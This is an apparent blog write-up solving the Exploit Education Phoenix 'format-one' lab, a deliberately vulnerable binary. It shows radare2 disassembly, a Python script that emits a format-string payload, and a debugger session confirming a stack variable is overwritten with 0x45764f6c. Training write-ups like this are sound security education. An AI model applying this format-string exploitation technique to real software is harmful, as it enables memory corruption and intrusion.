Exploit Education Phoenix x86 Format One
2019-10-17
Introduction
Format One is the continuation of the format string vulnerability challenges.
Recon
$ r2 /opt/phoenix/i486/format-one
[0x080483d0]> aas
Cannot analyze at 0x08048650
[0x080483d0]> afl
0x08048338 1 17 sym._init
0x08048520 7 277 -> 112 sym.frame_dummy
0x08048610 5 49 sym.__do_global_ctors_aux
0x08048641 1 12 sym._fini
0x080484a0 8 113 -> 111 sym.__do_global_dtors_aux
0x08048114 57 604 -> 666 sym..interp
0x080483d0 1 62 entry0
0x080483c0 1 6 sym.imp.__libc_start_main
0x08048728 1 14 loc.__GNU_EH_FRAME_HDR
0x08048744 3 34 sym..eh_frame
0x08048780 1 10 obj.__EH_FRAME_BEGIN
0x08048410 4 49 -> 40 sym.deregister_tm_clones
0x080487a4 1 4 obj.__FRAME_END
0x08048565 6 163 main
0x08048380 1 6 sym.imp.puts
0x08048370 1 6 sym.imp.fgets
0x08048390 1 6 sym.imp.errx
0x080483a0 1 6 sym.imp.sprintf
0x08048360 1 6 sym.imp.printf
0x080483b0 1 6 sym.imp.exit
[0x080483d0]> s main
[0x08048565]> pdf
/ (fcn) main 163
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_3ch @ ebp-0x3c
| ; var int32_t var_2dh @ ebp-0x2d
| ; var int32_t var_2ch @ ebp-0x2c
| ; var int32_t var_ch @ ebp-0xc
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x8048404
| 0x08048565 8d4c2404 lea ecx, [arg_4h]
| 0x08048569 83e4f0 and esp, 0xfffffff0
| 0x0804856c ff71fc push dword [ecx - 4]
| 0x0804856f 55 push ebp
| 0x08048570 89e5 mov ebp, esp
| 0x08048572 51 push ecx
| 0x08048573 83ec44 sub esp, 0x44
| 0x08048576 83ec0c sub esp, 0xc
| 0x08048579 6850860408 push str.Welcome_to_phoenix_format_one__brought_to_you_by_https:__exploit.education ; sym..rodata
| ; 0x8048650 ; "Welcome to phoenix/format-one, brought to you by https://exploit.education"
| 0x0804857e e8fdfdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048583 83c410 add esp, 0x10
| 0x08048586 a1a0980408 mov eax, dword [obj.stdin] ; sym..bss
| ; [0x80498a0:4]=0
| 0x0804858b 83ec04 sub esp, 4
| 0x0804858e 50 push eax
| 0x0804858f 6a0f push 0xf ; 15
| 0x08048591 8d45c4 lea eax, [var_3ch]
| 0x08048594 50 push eax
| 0x08048595 e8d6fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x0804859a 83c410 add esp, 0x10
| 0x0804859d 85c0 test eax, eax
| ,=< 0x0804859f 750f jne 0x80485b0
| | 0x080485a1 83ec08 sub esp, 8
| | 0x080485a4 689b860408 push str.Unable_to_get_buffer ; 0x804869b ; "Unable to get buffer"
| | 0x080485a9 6a01 push 1 ; 1
| | 0x080485ab e8e0fdffff call sym.imp.errx ; void errx(int eval)
| `-> 0x080485b0 c645d300 mov byte [var_2dh], 0
| 0x080485b4 c745f4000000. mov dword [var_ch], 0
| 0x080485bb 83ec08 sub esp, 8
| 0x080485be 8d45c4 lea eax, [var_3ch]
| 0x080485c1 50 push eax
| 0x080485c2 8d45d4 lea eax, [var_2ch]
| 0x080485c5 50 push eax
| 0x080485c6 e8d5fdffff call sym.imp.sprintf ; int sprintf(char *s, const char *format, ...)
| 0x080485cb 83c410 add esp, 0x10
| 0x080485ce 8b45f4 mov eax, dword [var_ch]
| 0x080485d1 3d6c4f7645 cmp eax, 0x45764f6c
| ,=< 0x080485d6 7416 je 0x80485ee
| | 0x080485d8 8b45f4 mov eax, dword [var_ch]
| | 0x080485db 83ec08 sub esp, 8
| | 0x080485de 50 push eax
| | 0x080485df 68b0860408 push str.Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x ; 0x80486b0 ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n"
| | 0x080485e4 e877fdffff call sym.imp.printf ; int printf(const char *format)
| | 0x080485e9 83c410 add esp, 0x10
| ,==< 0x080485ec eb10 jmp 0x80485fe
| |`-> 0x080485ee 83ec0c sub esp, 0xc
| | 0x080485f1 68e8860408 push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x80486e8 ; "Well done, the 'changeme' variable has been changed correctly!"
| | 0x080485f6 e885fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x080485fb 83c410 add esp, 0x10
| | ; CODE XREF from main @ 0x80485ec
| `--> 0x080485fe 83ec0c sub esp, 0xc
| 0x08048601 6a00 push 0
\ 0x08048603 e8a8fdffff call sym.imp.exit ; void exit(int status)
[0x08048565]> agf
[0x08048565]> # int main (int argc, char **argv, char **envp);
.----------------------------------------------------------------------------------------.
| 0x8048565 |
| (fcn) main 163 |
| int main (int argc, char **argv, char **envp); |
| ; var int32_t var_3ch @ ebp-0x3c |
| ; var int32_t var_2dh @ ebp-0x2d |
| ; var int32_t var_2ch @ ebp-0x2c |
| ; var int32_t var_ch @ ebp-0xc |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x8048404 |
| lea ecx, [arg_4h] |
| and esp, 0xfffffff0 |
| push dword [ecx - 4] |
| push ebp |
| mov ebp, esp |
| push ecx |
| sub esp, 0x44 |
| sub esp, 0xc |
| ; sym..rodata |
| ; 0x8048650 |
| ; "Welcome to phoenix/format-one, brought to you by https://exploit.education" |
| push str.Welcome_to_phoenix_format_one__brought_to_you_by_https:__exploit.education |
| ; int puts(const char *s) |
| call sym.imp.puts;[oa] |
| add esp, 0x10 |
| ; sym..bss |
| ; [0x80498a0:4]=0 |
| mov eax, dword [obj.stdin] |
| sub esp, 4 |
| push eax |
| ; 15 |
| push 0xf |
| lea eax, [var_3ch] |
| push eax |
| ; char *fgets(char *s, int size, FILE *stream) |
| call sym.imp.fgets;[ob] |
| add esp, 0x10 |
| test eax, eax |
| jne 0x80485b0 |
`----------------------------------------------------------------------------------------'
f t
| |
| '-------------------------------------.
| |
| |
.----------------------------------. .-------------------------------------------------.
| 0x80485a1 | | 0x80485b0 |
| sub esp, 8 | | mov byte [var_2dh], 0 |
| ; 0x804869b | | mov dword [var_ch], 0 |
| ; "Unable to get buffer" | | sub esp, 8 |
| push str.Unable_to_get_buffer | | lea eax, [var_3ch] |
| ; 1 | | push eax |
| push 1 | | lea eax, [var_2ch] |
| ; void errx(int eval) | | push eax |
| call sym.imp.errx;[oc] | | ; int sprintf(char *s, const char *format, ...) |
`----------------------------------' | call sym.imp.sprintf;[od] |
| add esp, 0x10 |
| mov eax, dword [var_ch] |
| cmp eax, 0x45764f6c |
| je 0x80485ee |
`-------------------------------------------------'
f t
| |
| '-------------------.
.---------------------------------------------------' |
| |
.--------------------------------------------------------------------. .---------------------------------------------------------------------------.
| 0x80485d8 | | 0x80485ee |
| mov eax, dword [var_ch] | | sub esp, 0xc |
| sub esp, 8 | | ; 0x80486e8 |
| push eax | | ; "Well done, the 'changeme' variable has been changed correctly!" |
| ; 0x80486b0 | | push str.Well_done__the__changeme__variable_has_been_changed_correctly |
| ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n" | | ; int puts(const char *s) |
| push str.Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x | | call sym.imp.puts;[oa] |
| ; int printf(const char *format) | | add esp, 0x10 |
| call sym.imp.printf;[oe] | `---------------------------------------------------------------------------'
| add esp, 0x10 | v
| jmp 0x80485fe | |
`--------------------------------------------------------------------' |
v |
| |
'--------------------------------------------------------. |
| .--------------'
| |
.-----------------------------------.
| 0x80485fe |
| ; CODE XREF from main @ 0x80485ec |
| sub esp, 0xc |
| push 0 |
| ; void exit(int status) |
| call sym.imp.exit;[of] |
`-----------------------------------'
From the above, the key points are the following:
- The input is read from STDIN via a call to
fgetsat address0x08048595. It is saved atvar_3chwith a size restriction of 15 bytes. var_3chis used as a format string forsprintfat0x080485c6.- The objective is to overwrite
var_chwith0x45764f6c, which is tested at0x080485d1.
Exploit
The exploit is almost identical to the one from the previous level, with the only exception being the value that needs to be written to var_ch.
#!/usr/bin/env python3
import os
os.write(1, b'\x25\x33\x32\x78'+b'\x6c\x4f\x76\x45')
$ ./theScript.py > pattern
#!/usr/bin/env rarun2
stdio=/dev/pts/0
stdin=./pattern
Replace /dev/pts/0 with the output of the command tty and ./pattern with the full path to the file that contains the input to be read from the binary.
$ r2 -d /opt/phoenix/i486/format-one -r theProfile.rr2
[0xf7ef4d4b]> aas
Cannot analyze at 0x08048650
[0xf7ef4d4b]> db 0x080485c6
[0xf7ef4d4b]> dc
Welcome to phoenix/format-one, brought to you by https://exploit.education
hit breakpoint at: 80485c6
[0x080485c6]> dr
eax = 0xffb9951c
ebx = 0xf7f2a000
ecx = 0xf7f2ae08
edx = 0x00000000
esi = 0xffb995d4
edi = 0x00000001
esp = 0xffb994f0
ebp = 0xffb99548
eip = 0x080485c6
eflags = 0x00000292
oeax = 0xffffffff
[0x080485c6]> px/16xw 0xffb99548-0x3c
0xffb9950c 0x78323325 0x45764f6c 0xf7f2c100 0x00000000 %32xlOvE........
0xffb9951c 0x08048300 0x00000000 0x00000000 0x00000000 ................
0xffb9952c 0x00000000 0x00000000 0x00000000 0x00000000 ................
0xffb9953c 0x00000000 0x00000000 0xffb99560 0xffb995dc ........`.......
[0x080485c6]> px/xw 0xffb99548-0xc
0xffb9953c 0x00000000 ....
[0x080485c6]> dso
hit breakpoint at: 80485cb
[0x080485c6]> px/16xw 0xffb99548-0x3c
0xffb9950c 0x78323325 0x45764f6c 0xf7f2c100 0x00000000 %32xlOvE........
0xffb9951c 0x20202020 0x20202020 0x20202020 0x20202020
0xffb9952c 0x20202020 0x20202020 0x32663766 0x30343161 f7f2a140
0xffb9953c 0x45764f6c 0x00000000 0xffb99560 0xffb995dc lOvE....`.......
[0x080485c6]> px/xw 0xffb99548-0xc
0xffb9953c 0x45764f6c lOvE
[0x080485c6]> dc
Well done, the 'changeme' variable has been changed correctly!
Conclusion
In this level, the approach was almost identical to that of the previous one with the only difference being that a specific value needed to be written to var_ch.